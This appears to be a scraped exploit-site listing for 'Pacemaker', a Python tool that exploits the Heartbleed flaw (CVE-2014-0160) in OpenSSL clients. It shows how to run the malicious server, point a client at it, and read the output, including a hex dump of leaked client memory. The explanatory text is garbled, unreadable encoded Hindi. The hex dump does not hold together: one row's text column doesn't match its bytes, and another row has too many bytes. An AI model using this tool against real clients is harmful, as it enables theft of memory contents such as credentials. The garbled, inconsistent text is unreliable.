Sploitus

Exploit for pacemaker

CVE-2014-0160

kitploit ┬╖ 2026-08-19

Exploit Code

MARKDOWN59 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LEKENSTEYN-PACEMAKER
# Pacemaker

рдпрд╣ рдЙрди OpenSSL _рдХреНрд▓рд╛рдЗрдВрдЯреЛрдВ_ рдХрд╛ рджреЛрд╣рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рд╣реИ рдЬреЛ Heartbleed (CVE-2014-0160) рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред Python 2 рдФрд░ 3 рдХреЗ рд╕рд╛рде рд╕рдВрдЧрддред

## рдХреНрдпрд╛ рдореИрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реВрдБ?

рд╕рд░реНрд╡рд░ рдЪрд▓рд╛рдПрдБ:

root@kitploit:~
    
    
    python pacemaker.py
    

рдЕрдкрдиреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдореЗрдВ https://localhost:4433/ рдЦреЛрд▓реЗрдВ (рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рддреЛ рд╣реЛрд╕реНрдЯрдирд╛рдо рдмрджрд▓реЗрдВ)ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

root@kitploit:~
    
    
    curl https://localhost:4433/
    

рдХреНрд▓рд╛рдЗрдВрдЯ рд╣рдореЗрд╢рд╛ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣реЗрдЧрд╛:

root@kitploit:~
    
    
    curl: (35) Unknown SSL protocol error in connection to localhost:4433
    

рдпрджрд┐ рдЖрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рд╕рд░реНрд╡рд░ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЖрдЙрдЯрдкреБрдЯ рджреЗрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    Connection from: 127.0.0.1:40736
    Possibly not vulnerable
    

рдпрджрд┐ рдЖрдк _рд╕рдВрд╡реЗрджрдирд╢реАрд▓_ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:

root@kitploit:~
    
    
    Connection from: 127.0.0.1:40738
    Client returned 65535 (0xffff) bytes
    0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  some-email@example.com.
    0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
    0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
    0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
    0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    *
    4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
    8000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
    ...
    e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
    e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
    fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............